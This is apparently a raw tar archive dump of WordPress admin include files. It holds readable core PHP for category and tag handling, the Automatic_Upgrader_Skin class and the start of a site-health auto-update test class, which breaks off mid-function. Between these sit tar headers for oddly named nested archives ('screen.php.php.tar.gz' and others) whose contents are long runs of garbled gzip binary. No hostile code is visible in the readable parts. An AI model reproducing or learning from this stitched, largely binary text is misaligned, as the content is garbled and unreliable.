	$cat_defaults = array(
		'cat_ID'               => 0,
		'taxonomy'             => 'category',
		'cat_name'             => '',
		'category_description' => '',
		'category_nicename'    => '',
		'category_parent'      => '',
	);
	$catarr       = wp_parse_args( $catarr, $cat_defaults );

	if ( '' === trim( $catarr['cat_name'] ) ) {
		if ( ! $wp_error ) {
			return 0;
		} else {
			return new WP_Error( 'cat_name', __( 'You did not enter a category name.' ) );
		}
	}

	$catarr['cat_ID'] = (int) $catarr['cat_ID'];

	// Are we updating or creating?
	$update = ! empty( $catarr['cat_ID'] );

	$name        = $catarr['cat_name'];
	$description = $catarr['category_description'];
	$slug        = $catarr['category_nicename'];
	$parent      = (int) $catarr['category_parent'];
	if ( $parent < 0 ) {
		$parent = 0;
	}

	if ( empty( $parent )
		|| ! term_exists( $parent, $catarr['taxonomy'] )
		|| ( $catarr['cat_ID'] && term_is_ancestor_of( $catarr['cat_ID'], $parent, $catarr['taxonomy'] ) ) ) {
		$parent = 0;
	}

	$args = compact( 'name', 'slug', 'parent', 'description' );

	if ( $update ) {
		$catarr['cat_ID'] = wp_update_term( $catarr['cat_ID'], $catarr['taxonomy'], $args );
	} else {
		$catarr['cat_ID'] = wp_insert_term( $catarr['cat_name'], $catarr['taxonomy'], $args );
	}

	if ( is_wp_error( $catarr['cat_ID'] ) ) {
		if ( $wp_error ) {
			return $catarr['cat_ID'];
		} else {
			return 0;
		}
	}
	return $catarr['cat_ID']['term_id'];
}

/**
 * Aliases wp_insert_category() with minimal args.
 *
 * If you want to update only some fields of an existing category, call this
 * function with only the new values set inside $catarr.
 *
 * @since 2.0.0
 *
 * @param array $catarr The 'cat_ID' value is required. All other keys are optional.
 * @return int|false The ID number of the new or updated Category on success. Zero or FALSE on failure.
 */
function wp_update_category( $catarr ) {
	$cat_id = (int) $catarr['cat_ID'];

	if ( isset( $catarr['category_parent'] ) && ( $cat_id === (int) $catarr['category_parent'] ) ) {
		return false;
	}

	// First, get all of the original fields.
	$category = get_term( $cat_id, 'category', ARRAY_A );
	_make_cat_compat( $category );

	// Escape data pulled from DB.
	$category = wp_slash( $category );

	// Merge old and new fields with new fields overwriting old ones.
	$catarr = array_merge( $category, $catarr );

	return wp_insert_category( $catarr );
}

//
// Tags.
//

/**
 * Checks whether a post tag with a given name exists.
 *
 * @since 2.3.0
 *
 * @param int|string $tag_name
 * @return mixed Returns null if the term does not exist.
 *               Returns an array of the term ID and the term taxonomy ID if the pairing exists.
 *               Returns 0 if term ID 0 is passed to the function.
 */
function tag_exists( $tag_name ) {
	return term_exists( $tag_name, 'post_tag' );
}

/**
 * Adds a new tag to the database if it does not already exist.
 *
 * @since 2.3.0
 *
 * @param int|string $tag_name
 * @return array|WP_Error
 */
function wp_create_tag( $tag_name ) {
	return wp_create_term( $tag_name, 'post_tag' );
}

/**
 * Gets comma-separated list of tags available to edit.
 *
 * @since 2.3.0
 *
 * @param int    $post_id
 * @param string $taxonomy Optional. The taxonomy for which to retrieve terms. Default 'post_tag'.
 * @return string|false|WP_Error
 */
function get_tags_to_edit( $post_id, $taxonomy = 'post_tag' ) {
	return get_terms_to_edit( $post_id, $taxonomy );
}

/**
 * Gets comma-separated list of terms available to edit for the given post ID.
 *
 * @since 2.8.0
 *
 * @param int    $post_id
 * @param string $taxonomy Optional. The taxonomy for which to retrieve terms. Default 'post_tag'.
 * @return string|false|WP_Error
 */
function get_terms_to_edit( $post_id, $taxonomy = 'post_tag' ) {
	$post_id = (int) $post_id;
	if ( ! $post_id ) {
		return false;
	}

	$terms = get_object_term_cache( $post_id, $taxonomy );
	if ( false === $terms ) {
		$terms = wp_get_object_terms( $post_id, $taxonomy );
		wp_cache_add( $post_id, wp_list_pluck( $terms, 'term_id' ), $taxonomy . '_relationships' );
	}

	if ( ! $terms ) {
		return false;
	}
	if ( is_wp_error( $terms ) ) {
		return $terms;
	}
	$term_names = array();
	foreach ( $terms as $term ) {
		$term_names[] = $term->name;
	}

	$terms_to_edit = esc_attr( implode( ',', $term_names ) );

	/**
	 * Filters the comma-separated list of terms available to edit.
	 *
	 * @since 2.8.0
	 *
	 * @see get_terms_to_edit()
	 *
	 * @param string $terms_to_edit A comma-separated list of term names.
	 * @param string $taxonomy      The taxonomy name for which to retrieve terms.
	 */
	$terms_to_edit = apply_filters( 'terms_to_edit', $terms_to_edit, $taxonomy );

	return $terms_to_edit;
}

/**
 * Adds a new term to the database if it does not already exist.
 *
 * @since 2.8.0
 *
 * @param string $tag_name The term name.
 * @param string $taxonomy Optional. The taxonomy within which to create the term. Default 'post_tag'.
 * @return array|WP_Error
 */
function wp_create_term( $tag_name, $taxonomy = 'post_tag' ) {
	$id = term_exists( $tag_name, $taxonomy );
	if ( $id ) {
		return $id;
	}

	return wp_insert_term( $tag_name, $taxonomy );
}
screen.php.php.tar.gz000064400000003471150275632050010540 0ustar00��Y[o�6�+��r
ߓ�@Sg+t�ӂu@�B�%��"K�H�1����CRʗ$k�u@��s�xn<b�"&�h�\H&D�r����*�1D� ����b ��G�d�<{����h�p8::>��_�G�ׯp~<�G0|��/n8E��B�w8���l^�l�K���9���w��@�##��r:�;?�#���0��yɣfE6�l�:h�z~�䂃��2�g>O�����<��Ԝ�%�� ��~<w
��f�?Q�y\��X��U�(1)�Y9��B6塀+��>L���i_�f�E��ΜKW��FI�@s��
1xж�`,Mٺsp�l6�t ��S�D4�	ˆ�y*]�z�B|�l���~@q��N]�EN�;	|�Th �4h��A(	�N��V�lr����3ܡ)J��EV��[�j��^�L;$��Wx.+�.������svJl���="�7l��(G��GK3籐B�� p?��W� �.���N&sa�81�%�0�݂�8_T�m��?��LW��θF<.�HԀbb�c1��$\�zS�-��s��.G����X��I��j��wVb��@o-�G���)m)ؙ��h[��Tl�UKfM����_5Q��D��O�8!p���[��cpiVT�h#����BI������\IYglj���R�Jۋ�����48��M�b�U�k�2���ݷm�L9O��̋���)��U����q��ZP8�swé�f5��4hZ�P���R�ɹ�z��9j�H�e[=�K��V��-EM�8��v�}\p�L�ԋE����
iP��{�uK��Ղu�F��ChF�8o Q�G������հyOY��ګ�%ra��
��(gs	G��%���}��DR�T���s�5�R����@s�-P�2����_-t,E��H�&G��|���2��kB��x�)I�i �FL�wڇ��@υ��.�QƏ鍬SE��l��\��<c��0�L���-n��.���� �1P��>d�e Ux,�b|��~������B݅���:a]�؏��
|��&6��f��r�)�΅���E��…�F�	NM�Su��{�m���� ��Ѷ+UI�ׁ�#��3�h�[��Q͙���ڢ�<�u�6���a��ͩ���d<o���r����� ��kf����m���m�v��8]���eR��fQI�>�{��4?�eZ5u`rA������qF��I/i^���oo�)��,n�o߲_l`�X=~�M"ւ��B �l�7n�^�l"u٠�5� �F�d��J��4��B�[v%	�xB�1�b�b=]�G���)V$w0�'d�)�,�?a&H��	/�7~��4��$Y����r�|μ�L.�Լ��:��&�Sz܇
�Y��F��[>IG��7��u�e�}aSn�������/P���
��4�uT��S�Fi���|������9�q�ȧ�8�Y��A׋yo�k�}(�8�r(@[������
�2���-hS�;�]Q�|���
t�<SI_;���]�e��k�M�K*m�J�8�e�5Y�Ď�ư���Iz'�j�����fx���c\�QR����^y���47QT���0�_��~���Ղa@+�Qq�mͪ��){�b��
�n������YMbi��1��Ɔ�Q]�`�,���~:ؐ�pū����W��f��`��T|�I��╋�n�@�.�#�7���c�8Cl:���	8�6o��7o��%�A�d����T���xO�1��td class-wp-debug-data.php.php.tar.gz000064400000030513150275632050013002 0ustar00��}}��p��?.QJ*�(�M�>veW��Xw��Jr|9ſՒ\�{^�ܥi��w�y��.������9�^b.��`0��i6��Ӱ��4J�Nj(/�<_.��p�ͶW�p2���8'�I�o�(߂�h��ٚ�E8�O�k�ہ�o���}��7������;���գ�_}��?~��?=;MH��o	^@��������9���/�|(��8��:[��"{O��F�0f1
�h"�T�b�G�\���S�\D�x���(-��	��u�߅7�����r�
��"
^DaRL��,_w�Ç�_�%I�:�M�Y<>]d�hQ�Q��!I�xs y���χ��#a����g�H\/�qgi.�L���ur9�nE��P5��Hƒ�r��cBR�"F�@"�ob�V��=p@�o>�̓�M�����4�E���CӍ�R�H�M�F�C����YM�T,��/c����2�8�{�	*��ᅎ��<*֗,IBl~@���0��"�E���H�)�7#С��׺��"*�[�8�8}��|9�g��R�1�E����,����?��9Bp�M���D�擑���ȧ�M8ʋE���F�����,\,�[���Р�QX�:�
MЅ�"��Sgp��
ͰY��V����H
�#	OA4lo���=�t�����{���'Y8	&���Į aSe,z`�r��0�MTq�/z��`q�y"����j�L����$,)�`��"���"ZIU(E�(�n�q�-���*N��h	`�C-�p-�rE?��ai����G�q`>�)��>��Rj�B3��s� �5�&�O��]د�i�td�^�$+�}�p�o
� �Q8��2@����Ll�GU�1���E8����U [�@�砙
0h?S4�A�d�������(�	�ؕ.g�h1����^B��"�/ⴸ� r��Ą�lk�4����"J��66ԓ����lT�zC��G1
1͒	�S�C\%3~V�M%�v�	����b/	GQ�8�I�0�A\���CS��Tv�t
�Z$�}�,#p�z(<S����J\,Q�PKI��,�x�u&��U�C(Η$
�m���|
�ڛd��v՚Z��v/t5O����rT�`@�[��/,I�V�������q�]�:k�1jAœ|A$��y�.$Ѩw&i5_�(� �:�H:UՄ��z�oY~��Q�̌Ie�0��I�AU����zu���#���qΖ�2G#�����sG���+���2]��u\j��ހ(jC��j,�u��5=��͗i�^'��C0=�[4����U����j�~T뻽q,�;
�$���r�>:7Q�3#J�W���ʶ��[P��y�cUt�Qg��〫	YMh��Jt��TA5F't� }��ѫ ��!�~��G����ߘ�����6�����j��*#���ad�7���o�y)
Hc ��b�o��?@
\;�j(��<{3FS��s���Q��$IO��gZ�,�9��u��b'�
�[���|��`��i���������(c����d!��Dv�V��,�ƲCЊnkz��o'Q>gv	��S�Z��
�[��h�������}}c�+���ۜ�`#iV�y����B�܂;ޯ�
�2�&�3��T��f_�}{~�w�d��i������ˋ���$a(z��Zt�(�"mɕE����o3��C����63��E�fN	�N�p|	����$�Z3KXn�/�����m�f�ܒ�܅��%8i`Q�SY�)�dlug��_��;
ү@�,��a�L� �x�ɛ5�L
p�:)�sU��ʐ��R�{��
@��@M%�(2qօ�V�6^·��C��M�
PEO+fৣ��W������~��OO1䑃%�zoX�y��d�\�no�}
p�����o_��^��UO���h��U0A+O(��Є����b�!!?B��I
���$Һ0D��
w��(~���|�����|��l�	JU��E?��c�,X*���k@���.eo:���̽���ù������3��@,GR��NT���ݓӳ���Fֺ ._gs4<Lu+��Q���
���!���5�w��y#��˽q��߅k���1�՝[6Am��l�(�×?��zy�v�ŏ��fy��߿�����[*��]_�J��5���XϦ�8�<c8��zm�]N�
�2��i��/��	0.A��k�*�57��Iے�Ʒ��ݸJS�M��Eݔ�.���l0:/^�vjV�Udz$?�u$^�P��P���%�
�՟�C�Iv쏂o�F,����رzl�ݳ\��XV��E�������^Zm�4f�{�2啦NO^���]�:4�{�!���g�ɖ���&KP�f�"��3�޶����T�EU�O����ޏ���i�z:�/�W���,��|%xO�j$7P8\j�2*�t5|����ܳQT�����5$����>�Tݥ��R4���VLu�&i�A_��l�7��%�5��������m^��,�7�H��hEڪfe��U�ӵCл��"?�:��N^�RW��Q�.�������[����������Ën���l�؈�b1��b�4bk����1L��ݓ���S�A���ݫ�V�='~��E\�$�(�MGEc���#�&eLWH�E�֪�˱�
O�[��w٣D�#�^�8kzi2��I��t��K	� p��"�
�[V�c�0�m��`:���ip��q�)5-^��-����߈��]Sd;@��]���m,���Y7s��9G�m�C��0N��N�a�c_x�Uo�wg��+�w:��왊0�R��-��\��2�ٷ�ץ��	v�ݮ�^��<�sD�^���uK+�g��ktYmxu�_{�-�uσ�`^���>��q_��m{�����́��L�����V��I5��MV�S�:�L�g�F�_F�֤�
������s_�fl<�iqs+o=���9���p�
m�p&�]�hgGfe��OL��d�X�`�2�h�H�!���c�v�86�u����&�����*��#7\ʫ�T���uy$�vڡ�wU3�����熦��Z���@@i�yL��\��	e�ɢ�5M�TX�_,��;U<�$�;��a�E�6�S�hf03o��ZD�
�Je|���͌!���fA��ْ��G;��)F��=[,�E_X혩�%����e�9˯e�m`����М �=���  l4i�d�8��F���_�%'������	�9:EJ2���%�#�A�c�1|x'���-�I���<u~@:T��e��"�ţ
̲z�a�ځ�av��E�S�ț32���΄ Y�yyx�Y;�AC��̅�sS�}��8��Vo�f
�E}�V��Ö�:4�p�m�c���i�$�J���3�Tͯ�[�b� 0���;�fƘ�b�O���LKƹ�i�%\ї)�W�:z�d8����K�郲����g지�u
�l#jvt0+���%��k�j>����A:	]���S43�aOL5�Q�
�+T�"���Nu�2�ab�U0�n��ӵ�I��|"I��
@g�8�W��b���ey�P��k�1)+zd�
��Bx�c�k�	V��=hjZ�w�צ?�%��Y�HJ�E��=�Y5�t��eވ<L�=�:}��������رખ��?�淗;o��4��l��F��Q&wB�s8m.����w��-���u��U�-c]0�fY��x�<���n����GU�t�?�>�����g���(u�.Ky*a:�9ș�Q0�!�0n�]dY[y�����-�,��%<�=F��r��V\���Bd�l�L�Ȗ13�~W:#�@縯�~�!�\��/�[���q�&�n�;t��T���3�n�H�|:�?��Xt7����^FT��]�?>������6�5NcT�=����oq!q/CƁu��n#��
�7�\�IT�nI
kU�
pm�a�5�o�(J��m��\�ԫq���
E�S.5)Rp���!�)T�Ā���*d���jJ��r��9�5��Ȃ�Tr�u-�9�wڛºv-O���>ڤ�u��bt}-{mks���=	��"�.�"F�x��(uosP��
	��M&����L�n��y�fQwz�֐�M���v��;�`�0���W�v��I��L\4B�:ߗ�>6a�1h�����D�E�ؔ��dw4�Sp^�<mt%�h��k%��<6�
��C˕�+eSis�b�J�?�GӨ2�!��<�ѵ1�r4�&���H۝y]���3����P	Gٲq��4��P;-|/	8�dL�l�j����ڸ�r�9�*m`�G�K���!_�А���X�B�M�ݓ'g��^��b�Q�wv���۶�Y����1�&P-"Z���q]/�+�]g�������I��M���H�wGLJw%�62�*��N�����i�Y4�
�nTQ*�F��i+� ܓ��]��<���q�Fb�Yw9�8:��a�zBT����>$c�����*
��.���J�W��cM�T+��G
��6k+��o���#Y���nZ�ƣ��2z/*�O_eo�!f�z��V���Ns5����.��Am2�ŭJ
a�B��H��r ���@ȗ��(�aAae}�$�&�Ġ��=�f����敘��H���u��=
��[}�����$u�����ܿ������n�\ٲ���C��~��X�?���|�'nKŔ��-,��E�M�8+"y3��z3��Z?h�5��3
��x��@"o��QCb;}�� Z�� ��?�N샑'�s�o�d�����{+7�s��K���7��ԮD���ۓS��撽�Q��~sыC��~s���wN��<=q��߆q���?��֛Q�ӊ�N���`�
EO�3.�LR��	C+d����,}b-E#̗���sx`��K
��ꪉ]�n1ݛIW�B�]��H��M�i9��v'�}�Ǝ>A�Ǐ�nr��e�˪L����U�2wf?U�氼;c��d]Ajÿ�H:ڭrR��z�jc�:����f���Q_�]�EL����PS�l@:{����2���t,1��F�tq�M���r�������3ɴ�eQ�2�q��4��=〸��j�N_�?���z���F�}9�r��W[���,�|?�r����Ώ��P|)�LQ�o�R�WV�h\$x�L}�ȼjK&�sC~杍M+��?Ȣ�.SW�W 7:�T�5�U>
�`򉵺��I
�J�\�%F©���K}����I�$Ͻ�W
^9��8����f��*\�m�&���.	�1�x���@�/{����wo��������#+��n�)�pd��瞈2C�ّ��ȚͣF���nP�Šx�kG"�p[v �|���C!j,*Sg7)E�W�$�Tq�ۉ8Z�W��z�7\�0��)��t�5'�c��V��,��o�|=���z��o�:�~��+�n|7s���t��"\Ĉ���D��j��	S�gr:�Ѻ
[�R�Q��f��س��B��U턡1�$I�ж�Q7�Y��<y�iyj����'.�0���X�XE=۞m��w��?6T��Rf�Z����O;�L�%��#Y�4��<4�&����T�R�c�h��_���n>\g���z���2OS[��fhi�v���p'5be�4P�O��L"�t5�U�P��L�74X��)��5�x�Hcd����;�g�+�c_G�-�0�K�J�oM�D�����_��nu�.+�}R������=�_�xu~�|	�4(5�Ղ>]�����;e(ßv�$��t�b�E�cN�n;_q����$�kIh�UWLH��U(w��r{����u�J�[�i�jcCq�����N��'ʡ����m爝��ģE�[C
wJ�����Z)?������&6��xm�*��n��<k�Ue�m��`��>5V+BMt�űD��M��Nym�AY�ڧ��9�6=]�͌?�&����"�Wu�Dv-8��`CaQ�9�f�M�#R�)�mW�E~���*��
-�����JO�hx.�wc�y�m���{P��O�O�o��sq��|����_�զ
d6�o"�P�U�&�5�'f�Zzb�\b��n�*�9�e^d3f&x`�#v�BzYO]o�K�c�*���I܏V�$g!��!S�$�8w-��M��EȔ�-��g�[w�}����ݳ��6)���H4�>9��M}\�W ����R,x}��븤��HúI=�3�cT;g��3���(z�d���I�ղoC�9�׵I:�n��_�t&��)��e���.<���5�I�jG������S1�ڻ��
	�2�wK?�R��w!��MFSG��n�'1��qz�U�6K�A>:P�"�.x�I�aSE�.��D�e�tW!��އ���/��y�oj�h��xi�u�Jӵ�L��ޖo����e45�G�4�a%�2H�m?K�PC,��uo��a�$pS�.��d蓷x�G�d�}��妚C
�ji@(.���&���؝@�n$!�8�Eg��9��FXc��V�.(�,��c�{�N>Wܝ{�B��	�{��P^c���ˍT2�_J%F|�q������Wp�Kv�%J�98Kk�\<
�O����Vʇ��@$ւ�?	[O��Xi?�3�3|�t���-&�᧫�o��-���rM6��d"S���kt� y����es����K�8�ۧ6`�,�`-؀{�	�<��螺���[�s3J��
^�skt��I,a<OD_�C
�~��ڳ�0㴕8A��J��u��C{�D��Tyc��.�H���Z��zKrh�"!��H]%T�ĠB�ӆ�4'M��z�x 9ک%�_���Q�_���X��-�o��eMw�v�HY]졶�_~Ծc}'i����㟇>�1��8�{o�m(���7\ت;��p՝o�Kա'��ר��\�h�C�c��5j{K՛aP/�� �'�Ij�z���%������Im}Ũ\Ia3���[.">0��(�
U�X�B����@��Z�J��M�~���N7�z�.�۴�Ͱ��J|�vA��jv�1پ�Af�W_	���{}����z�i=��Z��������E�z��y����yv�0�\��X��9J���}�%f���+%}���~������Ѫ̋Fvm~�~�i��n�A�b�Ы�ֳE���ʍ�r��e����I�0�rz�L��6Z[�n����TzЋ'�IU`y�F�
���Be���F�W��\$=Q�@8~�D=oa<�Rs]6Z���(L�h��Z!�E�BEe��h���'��Cg:��M0d��S^L�i�@5���&�dA��1�&���u4!�5V&���X��9������.Ȧi���
�ܩ�ڳE�X�H�l����sv�ʴ���o�ui�<�KF��V�(�RJ8r޿���ͤ�(�"o��/��K���)&���0_?�6:�L��d��e@�O7�s����€�P���k�}_�@�™���K��YQ�,0M���/S:Β�,� �����'�|�Dv�6�KhH&�v6���T�G\n3A�eY�ZB�?uV��F0��l��P��+�ϒ�p>On���Ts�#�1'��x�?�[K��$m7~&��J���>��	�l��?�G�������û��_ES��/9�w���)�� ��Z��q����5�@�� w�/��iX��M��p�Q&}Y���27��|��U��*�9���6�r�ҭg��i]=s|�W���U�9��K�9Ԣ\~�P��/�S甸|̋�$ʧQT�zq�ؤ����-չ�Gol�K�*�������5���Pm7eH�Aκ�8�
T���Ń�"���9�	=��1��gG�����B�r���s ��5�D�"�x�~�Ϡ�Sb7�}��1�4H��g���n��������p?8��\T*ESsGg;���='f�����Gz���xWM�ۄ�3 ]�
i��z1(sY'WTJ��by�@�4��CGU�ؗ���U�^�T����^�dT�C�4�򨪷������h�+G�S�BC�UK����t_���t�oO��
��<!'l�պE,���V6���&�5��ƈ畁n�£lSV�֏|tj��i��f��g�V�]7�:���
�$ec���+�%�wgb�!�W�F�zZ�u\���5�]���	�Q;;�U��9E*\֫/�H�U���9��i�v����r���j��k�^v���j
V�a.���z���Gi�	}L�h
4��K|�$�+��MU:����d9��mʓ���3ԃ��6���V|�h�^��؜�Q�
�K��j;
a��ˉ���BRd9
%s�k��!�
��,R��.u|nE�t�J�6�9MuqKK4tsO�iqO��62x�����ݸ���ש!��`�cu���:O�a���Ϳivp�=�;�8
>΃,'�\T�r��Z�4::���-�H����������;~����)P��tuyʇVk�y}Q��Srz������Z�����*�5�O�9�7�F|��^gW���[�w&���U��v�TU��w]�ٗoږ�o�Wm�#���c����ٮv�qs�-��5��er;b);����](�/����x6W[M�FǠ�3�(W{޶>��(]Dk�k��W�f��|-�
� ��	���N�mB�a�*�J4��v��?��4쭊�E6㧥+T���.���k�T�����t�.n=s+h؍,+y����څa
�7\C�+�m�Q!, ��/�8����j�]�F��=�*A��[�Clߡ��/o�˦R�������ק�o�t#C�fM�6{��-��2ݡ����Fz��z���2+[�Ǔ�L�+�k��*]���M��������,iʒ���!I�h��Pϝ�/
,�E�K��r]�˄\?w`���3?�nu
G̮���N�u�~�{e�g�C�ɓ�yR��������`�+��9
x��N���� ���,jJ��{��v��mkUk.o�"�N*/z��C�z�wc6ﯜVT
�[zÉ�Z޷�yՍ�zWӇ�Acz1�����Q}ҽ��*s�ӓ�����^Gg�6PP��x��L;��%�y��=�(�����iu�<xʻ/���� �A��
P���;tȸ&����~�7�ܹ$�+�7��u�ԗ/9Y�CJ꺤�yz�>k>Ż�2����r���Q�����뫇����$�R���[��s:.Sf�M�c�I��L��U�:��1��Ɉ��$��0�Wg��ȇ8�n��f.�_j.�h^M�2>g�t�t��X��{�^
����� '%�@�e�#y�!]�$��#(�~�+ѫ�dSN/0�5�~�LH�,r�X�����m<F�F�!V�=�!�,�h���Qx%P�SOH�����IVO(Ӥ��a�lC�Z�4+�=�!rq�0n�#�=!.�hD�^��ژD�|�r�T���[!k�&�����cQ����Gx�e��6�ֵ
�l��>}��G�H�@	�]xe����e�R%�n���
�	L˳qRxm�L�xk��8Z�f �sF�F$�{d�$��C��"���zn��4f�[ƋeM��8:(��WL�(���Ǝ��;D�K՟��]m�Ƽrz�8�A���v�Az�
�7]�m��ʉ,�
f0�p��&L��T�j��$`/MN�%�9�r�6��T�|���Xɶ,9cod2d��?4�jD1G�,6l.��d\�����=a�F�VVG��W�x<u[��C+��y<�3��M4����mF�jW��a�b�8�Y���."�8[�9Â�k4�q���۹�
�������g��'])���� �ab򋎍��KӨ��z5f8%��)��lv�+����'&.ok��P�%7�Y%�H�^ꙐR���0�𰎔�����ڊVR����|d{U���B�Z�Z�:F�ԑaH�h
WM�g-`08����f*���� �:��CJ�#?����ݍ�E䔳}1��Âm�+]e�ZMT	US���Q�7F�e��VW<2?�Y��u������˷W��7Zչ�g���d����iM��զ<�s-��S�A�e�y�8�����o�*h+z	w���w�h��_�b-�q�jm�
d��n��r�Jjv==*y��^�L������7��ևp6�g:���#f(�?�
�>�����;���	q��R_�!Xv��])w�Ir&��H�4�
dqr{��c!��!��Cһ���tWo�l�2�b�w�ZW�O���&p(
3��Yh���N��ʌ�'M�UvT���NPP������a6 _�i�&�Jr$	7��%`���xlL+]-jQ�1�b���@8Wk/��3�e��)�WL�x�F��wv�����8>��C��e5D�����������([��Nu���C��(����K�ry{�-[�v��a�䛐<��$�7�$�tF���qD��s�x_��3t��#�0��#��m�t�t@r8�O��*eJQ\�9
hz�?y�S
��TB0�/�al鵒a�?�̴��br�z��9tJ�|�LX���(�&�T��[��t�o�Vv�gW?����h,Va�����,�$��h���s�r.�M3i�d��q`��h��^���`�X�,ˆ��l�������d�����)�E�Ѹ+ttSc+��<�Z�ऺ�O2zX:���s��\�?~Ja�)`�m����ժ�tʞ;�_P*��p������k-��֠!��{N�k�w���*D�h�[O��r���k��d;�2���k���-z�߼��h6ڶ���s0Ke���G��m�F�	�T^�@e�Qi`t���QP�i�
���Hd�%=|6(�x��䎏�T���k�]�\�P$(<NT���o������#�Yv
*,��<��!��ܙ֔��懷5��V�5">�B�!�ށ�O��2��g���i.�w�slF�oye���T:BEV�y�7�[���ޣU�D�e�.F��m��v���w�%�6�d~�nJ�l��T%zR���P{c+�b�~�}��,>��re�]�}'�/�.^��^�Ɯs��M����=;��z��=��U#Z��K_/�=� �қb
:���L�����+�n
�� X�+�ZC%7�b����_��|�ls ���|W��r���+~f3�b���a�G;0�f2!V�xL0ǯm�6�=g���Y}B?2�\�'��.M��,�Ŝ��&jԜ1b|�/(�N�lPG8�,�އE8�MfKo�0ڛH���\E��k�
b~�8�^���8��%�d@�C�R�lY�
{Ĭ��V��ځY�v!r_�f4���7F~�r�A�'��x��\��)��S��y$���/˴��s��-`wxc9�X���\J����qX�)�?��a�_ڸ)�L�{�6[z�ǝ�l���+O�g��6�a��<	<��p�n�N��yl
3X���]�(.,�����M�5��e'�n�L��ǻ�]b%�I��ɏ��<Χ0���W2��:�l�Ǖ�������T��e�Nak��ܪi��i�ʱ}�ax/Nh[:	�>KR7��\�$6�����DA��<�h_��j���Q��"ˊ�������ܥǷMjCI�kCY�岇J����k�d`���B��� �d}˲�r�d��U�#<�MEuU�A֩j�����K���(�{ܽT�5r�H�7���E֡��H���iy�<O8�ȕ�B"8�T���"�������,�Jና=w*�g�x��� '!�-zI�b�ߩ�����Ԩ
�7�
�2�J�=����%^�h������{S�h9#�	�1uY��� �r�^�to����R\I���c��|�{��ɵ.��hdV=��c��>�$c�O�����D6K��;��;��Rv�N�4t(WuW>�q*��.E6�
qk=P��ҟ�EQ���S��6��0�L	�f�� S�ʑ��oE.n"�J��x�[eUK�b-�s
���T�H�}�Ϟ@�Er:�f�X�`q���ɮ����K�� �:���q�*���3�����=���lRk�K�lLzeKB�����X��e
Ix���S��
�:�C
�k��5�	�.q��憕��\�וNC��#4o�{��_��<�F�J��,^�\�*OK��lT-SZ3`�i�,4�s�d�:��3��RKvaT���8�ED���iA)�d�}2�'Q�*_�<�p��'2�p}aPa�/��?>�ݧ�O��>�}��?�?�wW,�class-automatic-upgrader-skin.php000064400000007117150275632050013132 0ustar00<?php
/**
 * Upgrader API: Automatic_Upgrader_Skin class
 *
 * @package WordPress
 * @subpackage Upgrader
 * @since 4.6.0
 */

/**
 * Upgrader Skin for Automatic WordPress Upgrades.
 *
 * This skin is designed to be used when no output is intended, all output
 * is captured and stored for the caller to process and log/email/discard.
 *
 * @since 3.7.0
 * @since 4.6.0 Moved to its own file from wp-admin/includes/class-wp-upgrader-skins.php.
 *
 * @see Bulk_Upgrader_Skin
 */
class Automatic_Upgrader_Skin extends WP_Upgrader_Skin {
	protected $messages = array();

	/**
	 * Determines whether the upgrader needs FTP/SSH details in order to connect
	 * to the filesystem.
	 *
	 * @since 3.7.0
	 * @since 4.6.0 The `$context` parameter default changed from `false` to an empty string.
	 *
	 * @see request_filesystem_credentials()
	 *
	 * @param bool|WP_Error $error                        Optional. Whether the current request has failed to connect,
	 *                                                    or an error object. Default false.
	 * @param string        $context                      Optional. Full path to the directory that is tested
	 *                                                    for being writable. Default empty.
	 * @param bool          $allow_relaxed_file_ownership Optional. Whether to allow Group/World writable. Default false.
	 * @return bool True on success, false on failure.
	 */
	public function request_filesystem_credentials( $error = false, $context = '', $allow_relaxed_file_ownership = false ) {
		if ( $context ) {
			$this->options['context'] = $context;
		}
		/*
		 * TODO: Fix up request_filesystem_credentials(), or split it, to allow us to request a no-output version.
		 * This will output a credentials form in event of failure. We don't want that, so just hide with a buffer.
		 */
		ob_start();
		$result = parent::request_filesystem_credentials( $error, $context, $allow_relaxed_file_ownership );
		ob_end_clean();
		return $result;
	}

	/**
	 * Retrieves the upgrade messages.
	 *
	 * @since 3.7.0
	 *
	 * @return string[] Messages during an upgrade.
	 */
	public function get_upgrade_messages() {
		return $this->messages;
	}

	/**
	 * Stores a message about the upgrade.
	 *
	 * @since 3.7.0
	 * @since 5.9.0 Renamed `$data` to `$feedback` for PHP 8 named parameter support.
	 *
	 * @param string|array|WP_Error $feedback Message data.
	 * @param mixed                 ...$args  Optional text replacements.
	 */
	public function feedback( $feedback, ...$args ) {
		if ( is_wp_error( $feedback ) ) {
			$string = $feedback->get_error_message();
		} elseif ( is_array( $feedback ) ) {
			return;
		} else {
			$string = $feedback;
		}

		if ( ! empty( $this->upgrader->strings[ $string ] ) ) {
			$string = $this->upgrader->strings[ $string ];
		}

		if ( str_contains( $string, '%' ) ) {
			if ( ! empty( $args ) ) {
				$string = vsprintf( $string, $args );
			}
		}

		$string = trim( $string );

		// Only allow basic HTML in the messages, as it'll be used in emails/logs rather than direct browser output.
		$string = wp_kses(
			$string,
			array(
				'a'      => array(
					'href' => true,
				),
				'br'     => true,
				'em'     => true,
				'strong' => true,
			)
		);

		if ( empty( $string ) ) {
			return;
		}

		$this->messages[] = $string;
	}

	/**
	 * Creates a new output buffer.
	 *
	 * @since 3.7.0
	 */
	public function header() {
		ob_start();
	}

	/**
	 * Retrieves the buffered content, deletes the buffer, and processes the output.
	 *
	 * @since 3.7.0
	 */
	public function footer() {
		$output = ob_get_clean();
		if ( ! empty( $output ) ) {
			$this->feedback( $output );
		}
	}
}
class-wp-site-health-auto-updates.php000064400000032301150275632050013630 0ustar00<?php
/**
 * Class for testing automatic updates in the WordPress code.
 *
 * @package WordPress
 * @subpackage Site_Health
 * @since 5.2.0
 */

#[AllowDynamicProperties]
class WP_Site_Health_Auto_Updates {
	/**
	 * WP_Site_Health_Auto_Updates constructor.
	 *
	 * @since 5.2.0
	 */
	public function __construct() {
		require_once ABSPATH . 'wp-admin/includes/class-wp-upgrader.php';
	}


	/**
	 * Runs tests to determine if auto-updates can run.
	 *
	 * @since 5.2.0
	 *
	 * @return array The test results.
	 */
	public function run_tests() {
		$tests = array(
			$this->test_constants( 'WP_AUTO_UPDATE_CORE', array( true, 'beta', 'rc', 'development', 'branch-development', 'minor' ) ),
			$this->test_wp_version_check_attached(),
			$this->test_filters_automatic_updater_disabled(),
			$this->test_wp_automatic_updates_disabled(),
			$this->test_if_failed_update(),
			$this->test_vcs_abspath(),
			$this->test_check_wp_filesystem_method(),
			$this->test_all_files_writable(),
			$this->test_accepts_dev_updates(),
			$this->test_accepts_minor_updates(),
		);

		$tests = array_filter( $tests );
		$tests = array_map(
			static function ( $test ) {
				$test = (object) $test;

				if ( empty( $test->severity ) ) {
